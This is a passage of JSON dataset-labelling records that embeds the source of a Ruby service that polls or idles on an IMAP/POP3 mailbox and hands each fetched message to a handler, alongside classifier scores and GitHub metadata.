0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10831, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10831, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:08.254750+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "b460bcdc-758f-4543-9e2b-217425f8cb37", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "84aa525fa5cfa8bd92e7516dfc21abf78a589053b891af0fb80aeb282fe93a1d", "source_metadata": {"uuid": "b460bcdc-758f-4543-9e2b-217425f8cb37", "repo_name": "andymeneely/vexomino.xyz", "relative_path": "game/gamedata/app/modes/journey.rb", "category": "TOOL", "algo_rel_score": 0.6126253008842468, "quality_score": 3.9940545558929443, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 17, "repo_created_at": "2021-12-06T23:34:51.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9779197dbd0642cda0c39e14c18103502242d6cc", "size_bytes": 7630, "file_timestamp": 1641530030, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6678ad358461fc44bb12923fe260b4e79c52a5c2"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 17, "repo_created_at": "2021-12-06T23:34:51.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "9779197dbd0642cda0c39e14c18103502242d6cc", "size_bytes": 7630, "file_timestamp": 1641530030, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6678ad358461fc44bb12923fe260b4e79c52a5c2", "url": "https://github.com/andymeneely/vexomino.xyz/blob/6678ad358461fc44bb12923fe260b4e79c52a5c2/game/gamedata/app/modes/journey.rb"}, "gpt4o_tokens": 2223, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.6983532659103026, "noise_severity": 0.013821940526172567, "missing_content_severity": 0.04897038294333572, "factual_density": 3.429919710237351, "pretraining_utility": 0.3356169514094639, "math_density": 0.8698179203267015, "code_density": 3.9222882638060663, "reasoning_density": 0.22143928379636424, "education_level": 1.9621780321018034, "creative_writing_quality": -0.3337645703474558}, "score_applicability": {"education_level": 0.9981275482887254, "creative_writing_quality": 0.0004439585170455408}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/itrp/clacks/blob/54714facb9cc5290246fe562c107b058a683f91d/lib/clacks/service.rb", "id": "ruby-0-325fd401f5bf8904a1ac0df8490f0f13", "text": "module Clacks\n class Service\n # TODO: find the root cause and remove workaround below, @see http://stackoverflow.com/a/16007377/3774613\n begin require 'active_support'; rescue Exception => e; end\n\n require 'mail'\n\n # In practice timeouts occur when there is no activity keeping an IMAP connection open.\n # Timeouts occuring are:\n # IMAP server timeout: typically after 30 minutes with no activity.\n # NAT Gateway timeout: typically after 15 minutes with an idle connection.\n # The solution to this is for the IMAP client to issue a NOOP (No Operation) command\n # at intervals, typically every 29 minutes. We choose default 10 minutes.\n WATCHDOG_SLEEP = ENV['CLACKS_WATCHDOG_SLEEP'] || 10 * 60 # default 10 minutes\n\n def run\n begin\n Clacks.logger.info \"Clacks v#{Clacks::VERSION} started\"\n if Clacks.config[:pop3]\n run_pop3\n elsif Clacks.config[:imap]\n run_imap\n else\n raise \"Either a POP3 or an IMAP server must be configured\"\n end\n rescue Exception => e\n fatal(e)\n end\n end\n\n def stop\n $STOPPING = true\n exit unless finding?\n end\n\n private\n\n def fatal(e)\n unless e.is_a?(SystemExit) || e.is_a?(SignalException)\n Clacks.logger.fatal(\"#{e.message} (#{e.class})\\n#{(e.backtrace || []).join(\"\\n\")}\")\n end\n stop\n raise e\n end\n\n def run_pop3\n config = Clacks.config[:pop3]\n Clacks.logger.info(\"Clacks POP3 polling #{config[:user_name]}@#{config[:address]}\")\n # TODO: if $DEBUG\n processor = Mail::IMAP.new(config)\n poll(processor)\n end\n\n def run_imap\n config = Clacks.config[:imap]\n options = Clacks.config[:find_options]\n processor = Mail::IMAP.new(config)\n if $DEBUG\n Net::IMAP.debug = true\n Clacks.logger.level = Logger::DEBUG\n end\n imap_validate_options(options)\n if imap_idle_support?(processor)\n Clacks.logger.info(\"Clacks IMAP idling #{config[:user_name]}@#{config[:address]}\")\n imap_idling(processor)\n else\n Clacks.logger.info(\"Clacks IMAP polling #{config[:user_name]}@#{config[:address]}\")\n poll(processor)\n end\n end\n\n # Follows mostly the defaults from the Mail gem\n def imap_validate_options(options)\n options ||= {}\n options[:mailbox] ||= 'INBOX'\n options[:count] ||= 5\n options[:order] ||= :asc\n options[:what] ||= :first\n options[:keys] ||= 'ALL'\n options[:delete_after_find] ||= false\n options[:mailbox] = Net::IMAP.encode_utf7(options[:mailbox])\n if options[:archivebox]\n options[:archivebox] = Net::IMAP.encode_utf7(options[:archivebox])\n end\n options\n end\n\n def imap_idle_support?(processor)\n processor.connection { |imap| imap.capability.include?(\"IDLE\") }\n end\n\n def imap_idling(processor)\n imap_watchdog\n loop do\n begin\n processor.connection do |imap|\n @imap = imap\n # select the mailbox to process\n imap.select(Clacks.config[:find_options][:mailbox])\n loop {\n break if stopping?\n finding { imap_find(imap) }\n # http://tools.ietf.org/rfc/rfc2177.txt\n Clacks.logger.debug('imap.idle start')\n imap.idle do |r|\n Clacks.logger.debug('imap.idle yields')\n if r.instance_of?(Net::IMAP::UntaggedResponse) && r.name == 'EXISTS'\n imap.idle_done unless r.data == 0\n elsif r.instance_of?(Net::IMAP::ContinuationRequest)\n Clacks.logger.info(r.data.text)\n end\n end\n }\n end\n rescue Net::IMAP::BadResponseError => e\n unless e.message == 'Could not parse command'\n Clacks.logger.error(\"#{e.message} (#{e.class})\\n#{(e.backtrace || []).join(\"\\n\")}\")\n end\n # reconnect in next loop\n rescue Net::IMAP::Error, IOError => e\n # OK: reconnect in next loop\n rescue Errno::ECONNRESET => e\n # Connection reset by peer: reconnect in next loop\n rescue StandardError => e\n Clacks.logger.error(\"#{e.message} (#{e.class})\\n#{(e.backtrace || []).join(\"\\n\")}\")\n sleep(5) unless stopping?\n end\n break if stopping?\n end\n end\n\n # http://tools.ietf.org/rfc/rfc2177.txt\n def imap_watchdog\n Thread.new do\n loop do\n begin\n Clacks.logger.debug('watchdog sleeps')\n sleep(WATCHDOG_SLEEP)\n Clacks.logger.debug('watchdog woke up')\n @imap.idle_done\n Clacks.logger.debug('watchdog signalled idle process')\n rescue StandardError => e\n Clacks.logger.debug { \"watchdog received error: #{e.message} (#{e.class})\\n#{(e.backtrace || []).join(\"\\n\")}\" }\n # noop\n rescue Exception => e\n fatal(e)\n end\n end\n end\n end\n\n # Keep processing emails until nothing is found anymore,\n # or until a QUIT signal is received to stop the process.\n def imap_find(imap)\n options = Clacks.config[:find_options]\n delete_after_find = options[:delete_after_find]\n begin\n break if stopping?\n uids = imap.uid_search(options[:keys] || 'ALL')\n uids.reverse! if options[:what].to_sym == :last\n uids = uids.first(options[:count]) if options[:count].is_a?(Integer)\n uids.reverse! if (options[:what].to_sym == :last && options[:order].to_sym == :asc) ||\n (options[:what].to_sym != :last && options[:order].to_sym == :desc)\n processed = 0\n expunge = false\n uids.each do |uid|\n break if stopping?\n source = imap.uid_fetch(uid, ['RFC822']).first.attr['RFC822']\n mail = nil\n begin\n mail = Mail.new(source)\n mail.mark_for_delete = true if delete_after_find\n Clacks.config[:on_mail].call(mail)\n rescue StandardError => e\n Clacks.logger.error(e.message)\n Clacks.logger.error(e.backtrace)\n end\n begin\n imap.uid_copy(uid, options[:archivebox]) if options[:archivebox]\n if delete_after_find && (mail.nil? || mail.is_marked_for_delete?)\n expunge = true\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED])\n end\n rescue StandardError => e\n Clacks.logger.error(e.message)\n end\n processed += 1\n end\n imap.expunge if expunge\n end while uids.any? && processed == uids.length\n end\n\n def poll(processor)\n polling_msg = if polling?\n \"Clacks polling every #{poll_interval} seconds.\"\n else\n \"Clacks polling for messages once.\"\n end\n Clacks.logger.info(polling_msg)\n\n find_options = Clacks.config[:find_options]\n on_mail = Clacks.config[:on_mail]\n loop do\n break if stopping?\n finding {\n processor.find(find_options) do |mail|\n if stopping?\n mail.skip_deletion\n else\n begin\n on_mail.call(mail)\n rescue StandardError => e\n Clacks.logger.error(e.message)\n Clacks.logger.error(e.backtrace)\n end\n end\n end\n }\n break if stopping? || !polling?\n sleep(poll_interval)\n end\n end\n\n def poll_interval\n Clacks.config[:poll_interval]\n end\n\n def polling?\n poll_interval > 0\n end\n\n def finding(&block)\n @finding = true\n yield\n ensure\n @finding = false\n end\n\n def finding?\n @finding\n end\n\n def stopping?\n $STOPPING\n end\n\n at_exit {\n Clacks.logger.info(\"Clacks stopped.\") if $STOPPING\n }\n\n end\nend", "text_preview": "module Clacks class Service # TODO: find the root cause and remove workaround below, @see http://stackoverflow.com/a/16007377/3774613 begin require 'active_support'; rescue Exception => e; end require 'mail' # In practice timeouts occur whe", "input_sha256": "03b4e3a9fa12bf18ef06f2d022d860f913d73146f2e4955b57ca1387ad9cefed", "text_sha256": "325fd401f5bf8904a1ac0df8490f0f1378c33e29ad37e4cb39fd884805d030de", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16063, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.9097643856274541, "noise_severity": 0.020110612127202245, "missing_content_severity": 0.023057561370327752, "factual_density": 3.3481568746714054, "pretraining_utility": 0.5683489859948029, "math_density": 0.1606505605008583, "code_density": 3.809703191282468, "reasoning_density": 1.012717026064623, "education_level": 2.568808373531072, "creative_writing_quality": -0.13668865637148636}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.001326481172684934, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9974988071786903, "secondary": 0.9877734813358671, "tertiary": 0.9867770482201034, "structured_records": 0.005759225206214242, "procedural_steps": 0.02884345914663516, "worked_solution": 0.03250128327637463, "contextual_dialogue": 1.0590894218241853e-05, "content_quality": 0.5281434424587916, "noise_severity": 0.9832411565606648, "missing_content_severity": 0.9807853655247268, "factual_density": 0.45679739555950427, "pretraining_utility": 0.5018541236097579, "math_density": 0.8661245329159514, "code_density": 0.8414193260687232, "reasoning_density": 0.15606914494614743, "education_level": 0.38073364744142163, "creative_writing_quality": 0.998944807447079, "primary_topic": 0.9942663263651258, "secondary_topic": 0.9608849190793062}, "probability_margin": {"primary": 0.9963705860860235, "secondary": 0.9832326693804948, "tertiary": 0.9827458904971469, "education_level": 0.04456564973485677, "creative_writing_quality": 0.9986218982940762, "primary_topic": 0.990899796376093, "secondary_topic": 0.9440588078964036}, "raw_probabilities": {"primary": {"Academic Writing": 3.448394456926198e-05, "Content Listing": 1.9748356037975372e-05, "Creative Writing": 1.8824335967357434e-05, "Customer Support Page": 1.4840676685458344e-05, "Q&A Forum": 1.4305238664646591e-05, "Discussion Thread": 8.79894186266561e-06, "Comment Section": 1.4640218593888794e-05, "Missing Content": 2.7054074163754967e-05, "Knowledge Article": 0.0001722230970308525, "Legal Notices": 3.146255332674748e-05, "News Article": 4.469035923314343e-06, "Organizational Announcement": 1.2209656830651463e-05, "Nonfiction Writing": 1.1795853140024278e-05, "Organizational About Page": 1.2932459860606833e-05, "Personal About Page": 1.1488751837490667e-05, "Personal Blog": 7.92779044643915e-06, "Product Page": 8.100238848453497e-06, "Spam / Ads": 1.0357404486474026e-05, "Structured Data": 0.0005163710368808922, "Technical Writing": 0.9976030235462449, "Transcript / Interview": 1.4203704585647714e-05, "Tutorial / How-To Guide": 0.00019161648507503613, "User Reviews": 6.685138716332036e-06, "Other / Unknown": 0.0012324374602213951}, "secondary": {"Academic Writing": 0.00013026647744009994, "Content Listing": 6.118765704112352e-05, "Creative Writing": 0.00010838037319058582, "Customer Support Page": 9.577080019035672e-05, "Q&A Forum": 7.64488768404618e-05, "Discussion Thread": 3.415578434829802e-05, "Comment Section": 8.962472410944178e-05, "Missing Content": 0.00026923494374364777, "Knowledge Article": 0.003005323715065032, "Legal Notices": 0.00018520268285139086, "News Article": 5.008292237791137e-05, "Organizational Announcement": 6.03360525970871e-05, "Nonfiction Writing": 9.695337538123194e-05, "Organizational About Page": 7.144698529200428e-05, "Personal About Page": 4.940026320387872e-05, "Personal Blog": 4.9757193176135513e-05, "Product Page": 3.3331904412436466e-05, "Spam / Ads": 5.7243231097126984e-05, "Structured Data": 0.0013009124639234966, "Technical Writing": 0.0050502502330445, "Transcript / Interview": 5.793760790226761e-05, "Tutorial / How-To Guide": 0.0007546662073954892, "User Reviews": 2.9165911836739665e-05, "NONE": 0.9882829196135393}, "tertiary": {"Academic Writing": 0.00012163534856987149, "Content Listing": 6.456807966223667e-05, "Creative Writing": 0.000101510606306977, "Customer Support Page": 0.00010544903635599918, "Q&A Forum": 0.00012865399104539126, "Discussion Thread": 3.266822315231777e-05, "Comment Section": 0.00010742730691371693, "Missing Content": 0.0004119287948463491, "Knowledge Article": 0.004331804887749966, "Legal Notices": 0.0002784199786436671, "News Article": 5.2015971127625834e-05, "Organizational Announcement": 6.994042411181836e-05, "Nonfiction Writing": 0.0001797551059978313, "Organizational About Page": 8.556234579817284e-05, "Personal About Page": 4.132749021745585e-05, "Personal Blog": 4.404302800178437e-05, "Product Page": 3.463114422950446e-05, "Spam / Ads": 6.093764987696665e-05, "Structured Data": 0.0008462505612524925, "Technical Writing": 0.004582114047118831, "Transcript / Interview": 5.115774815692055e-05, "Tutorial / How-To Guide": 0.0009114916177784064, "User Reviews": 2.8702068820061172e-05, "NONE": 0.9873280045442657}, "structured_records": {"false": 0.9942407747937858, "true": 0.005759225206214242}, "procedural_steps": {"false": 0.9711565408533649, "true": 0.02884345914663516}, "worked_solution": {"false": 0.9674987167236254, "true": 0.03250128327637463}, "contextual_dialogue": {"false": 0.9999894091057817, "true": 1.0590894218241853e-05}, "content_quality": {"-2": 0.006289590236160291, "-1": 0.035121139252339714, "0": 0.23912069249783763, "1": 0.4814724506752102, "2": 0.2379961273384521}, "noise_severity": {"0": 0.9818893596072994, "1": 0.01681302687592266, "2": 0.0008078692003814179, "3": 0.00027713041506912707, "4": 0.000212613901327341}, "missing_content_severity": {"0": 0.9807938504800097, "1": 0.016510561470050946, "2": 0.0017848061821613297, "3": 0.0006657399351583138, "4": 0.00024504193261980087}, "factual_density": {"0": 0.003947325941267616, "1": 0.015607711906354767, "2": 0.1097647613974558, "3": 0.36970116304954836, "4": 0.5009790377053734}, "pretraining_utility": {"-2": 0.008257631461664082, "-1": 0.06304999495854326, "0": 0.36384014853466506, "1": 0.48179020621358093, "2": 0.08306201883154668}, "math_density": {"0": 0.856192272604226, "1": 0.13524867743918148, "2": 0.0036857728499663177, "3": 0.0014627710647603296, "4": 0.0034105060418657975}, "code_density": {"0": 0.00033324142968947694, "1": 0.000628047781990488, "2": 0.018150389377875126, "3": 0.15077892089705253, "4": 0.8301094005133924}, "reasoning_density": {"0": 0.41064862900313487, "1": 0.3147492482584793, "2": 0.17860240488334994, "3": 0.04323590338070021, "4": 0.052763814474335806}, "education_level": {"none": 0.001006210519954405, "0": 0.0014607112529167656, "1": 0.00554674417264663, "2": 0.4839447062011847, "3": 0.4393790564663279, "4": 0.06866257138696946}, "creative_writing_quality": {"not_applicable": 0.9991206728725659, "-2": 7.087031933854177e-05, "-1": 0.00016436118859055975, "0": 0.0004987745784896926, "1": 0.00010473429832278088, "2": 4.0586742692453165e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.6858316198952186e-05, "Art & Design": 4.395799211407592e-05, "Law & Crime": 3.906205178063992e-05, "Education & Careers": 3.537908966993285e-05, "Entertainment & Media": 3.001711105784738e-05, "Fashion & Beauty": 2.0495216683582897e-05, "Business, Economics & Finance": 7.796843190850761e-05, "Food & Dining": 2.6003124785456885e-05, "Games & Gaming": 6.901575436215923e-05, "Electronics & Hardware": 0.0001809058848784773, "Health, Healthcare & Wellness": 3.177155177001135e-05, "History & Geography": 2.9113926422906332e-05, "Home, Pets & Hobbies": 3.2813837635467755e-05, "Industry & Production": 3.4754321983709477e-05, "Language, Literature & Philosophy": 4.7542162326761557e-05, "Politics & Government": 2.0465235888928695e-05, "Religion & Spirituality": 3.613434834816646e-05, "Science, Mathematics & Engineering": 0.0004496863795679419, "Relationships & Community": 1.993638422466676e-05, "Software Usage & Applications": 0.00358705589806639, "Programming & Software Engineering": 0.9944868522741594, "Sports & Fitness": 4.0237572060892845e-05, "Vehicles & Transportation": 2.103015630687276e-05, "Travel & Tourism": 3.9909575305224555e-05, "Other / Uncovered Subject": 0.00045944162447229315, "Unknown / Insufficient Content": 0.00010359177802059904}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0001976522032260274, "Art & Design": 0.00014711325481203826, "Law & Crime": 0.00020816601089682934, "Education & Careers": 0.00012380247336124344, "Entertainment & Media": 0.00019001275340772324, "Fashion & Beauty": 8.049840544730197e-05, "Business, Economics & Finance": 0.0002435008480167366, "Food & Dining": 7.855911879478327e-05, "Games & Gaming": 0.00016299676426062592, "Electronics & Hardware": 0.0003609288453737366, "Health, Healthcare & Wellness": 9.457747149725945e-05, "History & Geography": 8.952105365134782e-05, "Home, Pets & Hobbies": 7.074276494509774e-05, "Industry & Production": 7.45758398477136e-05, "Language, Literature & Philosophy": 8.441874591058665e-05, "Politics & Government": 9.266423086839094e-05, "Religion & Spirituality": 0.00010665160401158491, "Science, Mathematics & Engineering": 0.001078571858786596, "Relationships & Community": 5.691571657123006e-05, "Software Usage & Applications": 0.015168141418588774, "Programming & Software Engineering": 0.018330537372160036, "Sports & Fitness": 8.422972381676409e-05, "Vehicles & Transportation": 4.419405735155768e-05, "Travel & Tourism": 0.00011069866772953653, "Other / Uncovered Subject": 0.0003309835281026819, "NONE": 0.9623893452685637}}, "probabilities": {"primary": {"Academic Writing": 3.4483944569261974e-05, "Content Listing": 1.974835603797537e-05, "Creative Writing": 1.882433596735743e-05, "Customer Support Page": 1.484067668545834e-05, "Q&A Forum": 1.4305238664646588e-05, "Discussion Thread": 8.798941862665608e-06, "Comment Section": 1.4640218593888791e-05, "Missing Content": 2.705407416375496e-05, "Knowledge Article": 0.00017222309703085248, "Legal Notices": 3.1462553326747476e-05, "News Article": 4.469035923314342e-06, "Organizational Announcement": 1.220965683065146e-05, "Nonfiction Writing": 1.1795853140024275e-05, "Organizational About Page": 1.293245986060683e-05, "Personal About Page": 1.1488751837490664e-05, "Personal Blog": 7.927790446439148e-06, "Product Page": 8.100238848453496e-06, "Spam / Ads": 1.0357404486474025e-05, "Structured Data": 0.0005163710368808921, "Technical Writing": 0.9976030235462446, "Transcript / Interview": 1.4203704585647711e-05, "Tutorial / How-To Guide": 0.00019161648507503608, "User Reviews": 6.685138716332034e-06, "Other / Unknown": 0.001232437460221395}, "secondary": {"Academic Writing": 0.00013026647744009994, "Content Listing": 6.118765704112352e-05, "Creative Writing": 0.00010838037319058582, "Customer Support Page": 9.577080019035672e-05, "Q&A Forum": 7.64488768404618e-05, "Discussion Thread": 3.415578434829802e-05, "Comment Section": 8.962472410944178e-05, "Missing Content": 0.00026923494374364777, "Knowledge Article": 0.003005323715065032, "Legal Notices": 0.00018520268285139086, "News Article": 5.008292237791137e-05, "Organizational Announcement": 6.03360525970871e-05, "Nonfiction Writing": 9.695337538123194e-05, "Organizational About Page": 7.144698529200428e-05, "Personal About Page": 4.940026320387872e-05, "Personal Blog": 4.9757193176135513e-05, "Product Page": 3.3331904412436466e-05, "Spam / Ads": 5.7243231097126984e-05, "Structured Data": 0.0013009124639234966, "Technical Writing": 0.0050502502330445, "Transcript / Interview": 5.793760790226761e-05, "Tutorial / How-To Guide": 0.0007546662073954892, "User Reviews": 2.9165911836739665e-05, "NONE": 0.9882829196135393}, "tertiary": {"Academic Writing": 0.00012163534856987149, "Content Listing": 6.456807966223667e-05, "Creative Writing": 0.000101510606306977, "Customer Support Page": 0.00010544903635599918, "Q&A Forum": 0.00012865399104539126, "Discussion Thread": 3.266822315231777e-05, "Comment Section": 0.00010742730691371693, "Missing Content": 0.0004119287948463491, "Knowledge Article": 0.004331804887749966, "Legal Notices": 0.0002784199786436671, "News Article": 5.2015971127625834e-05, "Organizational Announcement": 6.994042411181836e-05, "Nonfiction Writing": 0.0001797551059978313, "Organizational About Page": 8.556234579817284e-05, "Personal About Page": 4.132749021745585e-05, "Personal Blog": 4.404302800178437e-05, "Product Page": 3.463114422950446e-05, "Spam / Ads": 6.093764987696665e-05, "Structured Data": 0.0008462505612524925, "Technical Writing": 0.004582114047118831, "Transcript / Interview": 5.115774815692055e-05, "Tutorial / How-To Guide": 0.0009114916177784064, "User Reviews": 2.8702068820061172e-05, "NONE": 0.9873280045442657}, "structured_records": {"false": 0.9942407747937858, "true": 0.005759225206214242}, "procedural_steps": {"false": 0.9711565408533649, "true": 0.02884345914663516}, "worked_solution": {"false": 0.9674987167236254, "true": 0.03250128327637463}, "contextual_dialogue": {"false": 0.9999894091057817, "true": 1.0590894218241853e-05}, "content_quality": {"-2": 0.006289590236160291, "-1": 0.035121139252339714, "0": 0.23912069249783763, "1": 0.4814724506752102, "2": 0.2379961273384521}, "noise_severity": {"0": 0.9818893596072995, "1": 0.016813026875922663, "2": 0.000807869200381418, "3": 0.0002771304150691271, "4": 0.00021261390132734103}, "missing_content_severity": {"0": 0.9807938504800097, "1": 0.016510561470050946, "2": 0.0017848061821613297, "3": 0.0006657399351583138, "4": 0.00024504193261980087}, "factual_density": {"0": 0.003947325941267616, "1": 0.015607711906354767, "2": 0.1097647613974558, "3": 0.36970116304954836, "4": 0.5009790377053734}, "pretraining_utility": {"-2": 0.008257631461664082, "-1": 0.06304999495854326, "0": 0.36384014853466506, "1": 0.48179020621358093, "2": 0.08306201883154668}, "math_density": {"0": 0.856192272604226, "1": 0.13524867743918148, "2": 0.0036857728499663177, "3": 0.0014627710647603296, "4": 0.0034105060418657975}, "code_density": {"0": 0.00033324142968947694, "1": 0.000628047781990488, "2": 0.018150389377875126, "3": 0.15077892089705253, "4": 0.8301094005133924}, "reasoning_density": {"0": 0.41064862900313487, "1": 0.3147492482584793, "2": 0.17860240488334994, "3": 0.04323590338070021, "4": 0.052763814474335806}, "education_level": {"none": 0.0010062105199544053, "0": 0.0014607112529167658, "1": 0.005546744172646631, "2": 0.48394470620118474, "3": 0.43937905646632797, "4": 0.06866257138696948}, "creative_writing_quality": {"not_applicable": 0.999120672872566, "-2": 7.087031933854178e-05, "-1": 0.00016436118859055977, "0": 0.0004987745784896927, "1": 0.0001047342983227809, "2": 4.058674269245317e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.685831619895219e-05, "Art & Design": 4.3957992114075924e-05, "Law & Crime": 3.906205178063993e-05, "Education & Careers": 3.537908966993286e-05, "Entertainment & Media": 3.0017111057847384e-05, "Fashion & Beauty": 2.04952166835829e-05, "Business, Economics & Finance": 7.796843190850763e-05, "Food & Dining": 2.600312478545689e-05, "Games & Gaming": 6.901575436215925e-05, "Electronics & Hardware": 0.00018090588487847733, "Health, Healthcare & Wellness": 3.177155177001136e-05, "History & Geography": 2.9113926422906336e-05, "Home, Pets & Hobbies": 3.281383763546776e-05, "Industry & Production": 3.475432198370948e-05, "Language, Literature & Philosophy": 4.754216232676156e-05, "Politics & Government": 2.04652358889287e-05, "Religion & Spirituality": 3.6134348348166464e-05, "Science, Mathematics & Engineering": 0.00044968637956794194, "Relationships & Community": 1.9936384224666762e-05, "Software Usage & Applications": 0.0035870558980663904, "Programming & Software Engineering": 0.9944868522741596, "Sports & Fitness": 4.023757206089285e-05, "Vehicles & Transportation": 2.1030156306872763e-05, "Travel & Tourism": 3.990957530522456e-05, "Other / Uncovered Subject": 0.0004594416244722932, "Unknown / Insufficient Content": 0.00010359177802059905}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00019765220322602743, "Art & Design": 0.0001471132548120383, "Law & Crime": 0.00020816601089682936, "Education & Careers": 0.00012380247336124346, "Entertainment & Media": 0.00019001275340772326, "Fashion & Beauty": 8.049840544730198e-05, "Business, Economics & Finance": 0.00024350084801673662, "Food & Dining": 7.855911879478329e-05, "Games & Gaming": 0.00016299676426062595, "Electronics & Hardware": 0.00036092884537373667, "Health, Healthcare & Wellness": 9.457747149725946e-05, "History & Geography": 8.952105365134784e-05, "Home, Pets & Hobbies": 7.074276494509775e-05, "Industry & Production": 7.457583984771361e-05, "Language, Literature & Philosophy": 8.441874591058666e-05, "Politics & Government": 9.266423086839095e-05, "Religion & Spirituality": 0.00010665160401158492, "Science, Mathematics & Engineering": 0.0010785718587865963, "Relationships & Community": 5.6915716571230066e-05, "Software Usage & Applications": 0.015168141418588776, "Programming & Software Engineering": 0.01833053737216004, "Sports & Fitness": 8.42297238167641e-05, "Vehicles & Transportation": 4.4194057351557684e-05, "Travel & Tourism": 0.00011069866772953654, "Other / Uncovered Subject": 0.00033098352810268194, "NONE": 0.9623893452685638}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": 